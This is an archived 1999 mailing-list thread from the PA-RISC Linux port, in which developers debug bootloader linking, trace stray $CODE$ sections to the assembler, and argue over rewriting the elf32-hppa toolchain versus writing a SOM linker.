Date: Fri, 11 Jun 1999 21:43:33 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <21640.929159013@upchuck.cygnus.com>
References: <199906120323.XAA29685@hiauly1.hia.nrc.ca>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619635 12010 80.91.229.3 (22 Nov 2014 01:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:15 +0000 (UTC)
Cc: adevries@thepuffingroup.com, jason@equator.com,
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Fri Jun 11 21:48:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA04473
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 21:48:40 -0600
Original-Received: (qmail 24185 invoked by uid 15267); 12 Jun 1999 03:48:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24175 invoked from network); 12 Jun 1999 03:48:36 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 03:48:36 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id VAA21643;
	Fri, 11 Jun 1999 21:43:33 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 11 Jun 1999 23:23:50 EDT.
             <199906120323.XAA29685@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:9526


  In message <199906120323.XAA29685@hiauly1.hia.nrc.ca>you write:
  > image.  Finally, the .PARISC.unwind and .PARISC.symext must be
  > loaded to the correct locations in the LIF image.
You can throw away the unwind & symext sections.  While one day you might want
the unwinders in your lif image, you'll never want the symext.

In the ELF tools, you shouldn't never end up with anything in $CODE$.  If
you do, that's a bug in either the compiler or the assembler.  It should
have mapped $CODE$ into .text.

jeff



From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 01:10:08 -0400
Organization: The Puffin Group
Lines: 32
Approved: news@gmane.org
Message-ID: <3761EBB0.26A1931C@thepuffingroup.com>
References: <21640.929159013@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619636 12012 80.91.229.3 (22 Nov 2014 01:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:16 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, jason@equator.com,
        parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 11 23:02:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA04816
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 23:02:51 -0600
Original-Received: (qmail 31376 invoked by uid 15267); 12 Jun 1999 05:02:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31369 invoked from network); 12 Jun 1999 05:02:49 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 05:02:49 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id BAA23895;
	Sat, 12 Jun 1999 01:10:14 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9527

Jeffrey A Law wrote:
> 
>   In message <199906120323.XAA29685@hiauly1.hia.nrc.ca>you write:
>   > image.  Finally, the .PARISC.unwind and .PARISC.symext must be
>   > loaded to the correct locations in the LIF image.
> You can throw away the unwind & symext sections.  While one day you might want
> the unwinders in your lif image, you'll never want the symext.
> 
> In the ELF tools, you shouldn't never end up with anything in $CODE$.  If
> you do, that's a bug in either the compiler or the assembler.  It should
> have mapped $CODE$ into .text.

Okay.  So this means there's a problem with the GNU ld code. Jeff, do
you know approximately where within the ld code we should be looking to
fix this?

I confess I'm starting to get a little lost with the segment placings. 
Everything I'm trying is producing nothing at all.  The latest I've
tried is linking with:

parisc-linux-ld -m hppaelf -Ttext 0x1000 -N -s \
     ipl_s.o ipl_c.o rom_interface.o ../../../lib/milli.o -o ipl

You can inspect this kernel, it's at
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-19990612-1

The IPL starts at 0x1000.

It would be very helpful to get a PIM dump as Kirk had provided earlier.

- Alex


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Fri, 11 Jun 1999 23:11:17 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <21833.929164277@upchuck.cygnus.com>
References: <3761EBB0.26A1931C@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619636 12013 80.91.229.3 (22 Nov 2014 01:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:16 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, jason@equator.com,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Fri Jun 11 23:16:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA04979
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Jun 1999 23:16:16 -0600
Original-Received: (qmail 830 invoked by uid 15267); 12 Jun 1999 05:16:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 820 invoked from network); 12 Jun 1999 05:16:12 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 05:16:12 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id XAA21836;
	Fri, 11 Jun 1999 23:11:18 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 12 Jun 1999 01:10:08 EDT.
             <3761EBB0.26A1931C@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9528


  In message <3761EBB0.26A1931C@thepuffingroup.com>you write:
  > > In the ELF tools, you shouldn't never end up with anything in $CODE$.  If
  > > you do, that's a bug in either the compiler or the assembler.  It should
  > > have mapped $CODE$ into .text.
  > 
  > Okay.  So this means there's a problem with the GNU ld code. Jeff, do
  > you know approximately where within the ld code we should be looking to
  > fix this?
No, it's in either gas or gcc, not gld.

To find it you first need to find the offending .o file.  Then we'll look at
the .s it's built from, then possibly walk backwards to the compiler itself
depending on what we find.

To find the offending .o file with a $CODE$ use something like

objdump -h *.o ../../../lib/milli.o > /tmp/BLAH

Then search for $CODE$ in the resulting /tmp/BLAH.  We'll work backwards from
what you find.

  > It would be very helpful to get a PIM dump as Kirk had provided earlier.
Look at trap.c in the Utah code.   It had some of this kind of stuff.  Though
it assumes that you can run long enough to get your own trap handlers
installed.

jeff



From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 00:32:23 -0600
Lines: 74
Approved: news@gmane.org
Message-ID: <22030.929169143@upchuck.cygnus.com>
References: <3761F335.ADA76678@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619636 12016 80.91.229.3 (22 Nov 2014 01:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Sat Jun 12 00:37:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA05298
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 00:37:25 -0600
Original-Received: (qmail 10023 invoked by uid 15267); 12 Jun 1999 06:37:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10003 invoked from network); 12 Jun 1999 06:37:19 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 06:37:19 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id AAA22033;
	Sat, 12 Jun 1999 00:32:24 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 12 Jun 1999 01:42:13 EDT.
             <3761F335.ADA76678@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9529


  In message <3761F335.ADA76678@thepuffingroup.com>you write:
  > This is a multi-part message in MIME format.
  > > Then search for $CODE$ in the resulting /tmp/BLAH.  We'll work backwards 
  > from
  > > what you find.
  > 
  > The offending files are:
  > 
  > ipl_c.o:     file format elf32-hppa
[ ... ]

  >   4 $CODE$        00000210  00000000  00000000  000002b0  2**3
  >                   CONTENTS, ALLOC, LOAD, RELOC, CODE
  >   5 $CODE$        000001f8  00000000  00000000  000004c0  2**3
  >                   CONTENTS, ALLOC, LOAD, RELOC, CODE
  >   6 $CODE$        000003d8  00000000  00000000  000006b8  2**3
  >                   CONTENTS, ALLOC, LOAD, RELOC, CODE
OK.  This is actually enough to identify the problem.

This is one of those stupid problems that will go away when we revamp the tools
to do ELF in a more traditional fashion -- in particular dumping all the dumb
HP names for spaces/subspaces and sticking with standard names.

The problem is in the assembler's handling of .nsubspa.  It is not honoring the
$CODE$ -> .text translation for that case.

in gas/tc-hppa.c::pa_subspace there should be code like this:

     /* If this is an existing subspace, then we want to use the
         segment already associated with the subspace.

         FIXME NOW!  ELF BFD doesn't appear to be ready to deal with
         lots of sections.  It might be a problem in the PA ELF
         code, I do not know yet.  For now avoid creating anything
         but the "standard" sections for ELF.  */
      if (create_new)
        section = subseg_force_new (ss_name, 0);
      else if (ssd)
        section = ssd->ssd_seg;
      else if (alias)
        section = subseg_new (alias, 0);
      else if (!alias && USE_ALIASES)
        {
          as_warn (_("Ignoring subspace decl due to ELF BFD bugs."));
          demand_empty_rest_of_line ();
          return;
        }
      else
        section = subseg_new (ss_name, 0);


You'll note the FIXME NOW!.  It's about 5 years old :(  Though it will be
zapped as we drop the $CODE$ nonsense.


Anyway I think you may be able to fix this bug by changing the subseg_force_new
call to look something like:

  subseg_force_new (alias ? alias : ss_name, 0);


Though I'm a little confused.  I thought y'all were dropping the existing ELF
stuff -- I would strongly recommend it.  We're not even planning to keep the
existing elf32-hppa stuff building in gas/binutils as we work on the rewrite.
You're working with a totally dead and unsupported toolchain at this point.

jeff







From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 07:15:18 -0400
Organization: The Puffin Group
Lines: 35
Approved: news@gmane.org
Message-ID: <37624146.A7B5F0FE@thepuffingroup.com>
References: <22030.929169143@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619636 12018 80.91.229.3 (22 Nov 2014 01:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: adevries@thepuffingroup.com  Sat Jun 12 05:07:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA05774
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 05:07:48 -0600
Original-Received: (qmail 24409 invoked by uid 15267); 12 Jun 1999 11:07:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24402 invoked from network); 12 Jun 1999 11:07:44 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 11:07:44 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id HAA24090;
	Sat, 12 Jun 1999 07:15:23 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9530

Jeffrey A Law wrote:
> 

<snip>

Okay, I can make that change, unless someone beats me to it.

> 
> Though I'm a little confused.  I thought y'all were dropping the existing ELF
> stuff -- I would strongly recommend it.  We're not even planning to keep the
> existing elf32-hppa stuff building in gas/binutils as we work on the rewrite.
> You're working with a totally dead and unsupported toolchain at this point.

Let me clear this up.

Yes, we are absolutely dropping any use of the current broken
instantiation of elf32-hppa.

However, there's this time gap between now and when we actually have the
new toolchain from Cygnus.  During this time, the only thing that we
expect to work on is the kernel and bootloader.  Having just those two
components building with the current gcc and linker are important.

When Cygnus delivers a new toolchain, we'll go for that.

If we don't do it this way, the only toolchain we'll have is hosted on
HPUX, which I want to avoid if I possibly can.  The
fix-build-boot-restart cycle is muuuuch faster if you can cross compile
and netboot, particularly for those people who only have one HPUX
machine and slow connectivity to the HPUX box that HP has online for us.

Does that make sense?

- Alex


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 12:57:40 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <199906121657.MAA02162@hiauly1.hia.nrc.ca>
References: <37624146.A7B5F0FE@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619637 12020 80.91.229.3 (22 Nov 2014 01:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:17 +0000 (UTC)
Cc: law@cygnus.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Jun 12 10:57:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA06035
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 10:57:52 -0600
Original-Received: (qmail 19998 invoked by uid 15267); 12 Jun 1999 16:57:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19988 invoked from network); 12 Jun 1999 16:57:38 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 16:57:38 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA02162;
	Sat, 12 Jun 1999 12:57:40 -0400 (EDT)
In-Reply-To: <37624146.A7B5F0FE@thepuffingroup.com> from "Alex deVries" at Jun 12, 99 07:15:18 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9531

> Jeffrey A Law wrote:
> > 
> 
> <snip>
> 
> Okay, I can make that change, unless someone beats me to it.
> 
> > 
> > Though I'm a little confused.  I thought y'all were dropping the existing ELF
> > stuff -- I would strongly recommend it.  We're not even planning to keep the
> > existing elf32-hppa stuff building in gas/binutils as we work on the rewrite.
> > You're working with a totally dead and unsupported toolchain at this point.
> 
> Let me clear this up.
> 
> Yes, we are absolutely dropping any use of the current broken
> instantiation of elf32-hppa.

As I see it, it is a question of priorities.  The existing elf32-hppa
tools are the only ones which currently allow cross development
due to the lack of gnu linker supporting SOM.  If a SOM linker were
available, cross development could be done using the more developed
and tested SOM tools.  However, according to the comments in binutils/bfd,
the bfd architecture is incapable of performing all types of SOM
relocations.  A SOM linker also needs to be stream based.  Thus,
it appears difficult (impossible?) to build a SOM linker using the
bfd architecture.  On the other hand, the elf32-hppa tools have serious
deficiencies and are about to be completely rewritten.  Might it not be
better to develop a SOM linker rather than rewrite the elf stuff?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 19:36:44 +0100 (BST)
Lines: 11
Approved: news@gmane.org
Message-ID: <E10sse6-0004NC-00@the-village.bc.nu>
References: <199906121657.MAA02162@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619637 12021 80.91.229.3 (22 Nov 2014 01:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:17 +0000 (UTC)
Cc: adevries@thepuffingroup.com, law@cygnus.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Jun 12 12:37:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA06260
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 12:37:49 -0600
Original-Received: (qmail 29984 invoked by uid 15267); 12 Jun 1999 18:37:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29974 invoked from network); 12 Jun 1999 18:37:43 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 18:37:43 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10sse6-0004NC-00; Sat, 12 Jun 1999 19:36:46 +0100
In-Reply-To: <199906121657.MAA02162@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 12, 99 12:57:40 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9532

> relocations.  A SOM linker also needs to be stream based.  Thus,
> it appears difficult (impossible?) to build a SOM linker using the
> bfd architecture.  On the other hand, the elf32-hppa tools have serious
> deficiencies and are about to be completely rewritten.  Might it not be
> better to develop a SOM linker rather than rewrite the elf stuff?

Writing a linker, especialyl for something complex like SOM is not trivial
in the slightest.

Alan


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 12:53:18 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <23212.929213598@upchuck.cygnus.com>
References: <E10sse6-0004NC-00@the-village.bc.nu>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619637 12022 80.91.229.3 (22 Nov 2014 01:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:17 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca (John David Anglin), adevries@thepuffingroup.com,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: law@upchuck.cygnus.com  Sat Jun 12 12:58:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA06456
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 12:58:40 -0600
Original-Received: (qmail 803 invoked by uid 15267); 12 Jun 1999 18:58:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 772 invoked from network); 12 Jun 1999 18:58:33 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 18:58:33 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA23215;
	Sat, 12 Jun 1999 12:53:18 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 12 Jun 1999 19:36:44 BST.
             <E10sse6-0004NC-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9533


  In message <E10sse6-0004NC-00@the-village.bc.nu>you write:
  > Writing a linker, especialyl for something complex like SOM is not trivial
  > in the slightest.
  > 
One hell of an understatement.  Time is better spent _rewriting_ the ELF tools
to work in a reasoanble manner.

I'm not talking about tweaking the ELF tools, I'm talking about starting from
scratch.  The elf32-hppa code was the first elf backend that tried to deal
with linker generated code.

We've learned a lot since that code was written -- both about the generic
issues behind linker generated code and PA specific issues.  Enough to 
realize that what we tried to do in elf32-hppa.c was horribly bad and
needs to be scrapped and replaced.


jeff


From - Thu Nov 08 21:15:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 21:36:49 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <19990612213649.Y31472@mencheca.ch.genedata.com>
References: <199906121657.MAA02162@hiauly1.hia.nrc.ca> <E10sse6-0004NC-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619638 12025 80.91.229.3 (22 Nov 2014 01:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:18 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, adevries@thepuffingroup.com,
        law@cygnus.com, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Matthew.Wilcox@genedata.com  Sat Jun 12 13:36:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA06724
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 13:36:57 -0600
Original-Received: (qmail 4502 invoked by uid 15267); 12 Jun 1999 19:36:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4492 invoked from network); 12 Jun 1999 19:36:52 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 19:36:52 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id VAA05688;
	Sat, 12 Jun 1999 21:36:50 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id VAA1378307;
	Sat, 12 Jun 1999 21:36:49 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10staD-00025qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for law@cygnus.com; Sat, 12 Jun 1999 21:36:49 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <E10sse6-0004NC-00@the-village.bc.nu>; from Alan Cox on Sat, Jun 12, 1999 at 07:36:44PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9534

On Sat, Jun 12, 1999 at 07:36:44PM +0100, Alan Cox wrote:
> > relocations.  A SOM linker also needs to be stream based.  Thus,
> > it appears difficult (impossible?) to build a SOM linker using the
> > bfd architecture.  On the other hand, the elf32-hppa tools have serious
> > deficiencies and are about to be completely rewritten.  Might it not be
> > better to develop a SOM linker rather than rewrite the elf stuff?
> 
> Writing a linker, especialyl for something complex like SOM is not trivial
> in the slightest.

Yes, if you really want to support SOM properly and follow the spec.
It probably isn't if you want to just deal with what actually exists in
the world.  If you look at page 6-125 of the `32-bit PA-RISC Run-Time
Architecture Document 11.0 Version 1.0', it says that all conforming
executable SOM files must have the `exec auxiliary header (also known as
the HP-UX header with Hewlett-Packard)'.

So in the binfmt_som loader I take this opportunity to ignore the
wonderfully flexible and expressive structure that is contained in the SOM
file format and just map the text, data and bss segments from the file.
I imagine that a SOM linker which did just enough to get a kernel up
and running would not be too hard to write.  On the other hand, I can
think of a dozen more interesting and productive things to do.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 15:09:21 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <23436.929221761@upchuck.cygnus.com>
References: <37624146.A7B5F0FE@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619638 12032 80.91.229.3 (22 Nov 2014 01:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Sat Jun 12 15:14:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA06970
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 15:14:25 -0600
Original-Received: (qmail 13674 invoked by uid 15267); 12 Jun 1999 21:14:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13660 invoked from network); 12 Jun 1999 21:14:19 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 21:14:19 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id PAA23439;
	Sat, 12 Jun 1999 15:09:21 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 12 Jun 1999 07:15:18 EDT.
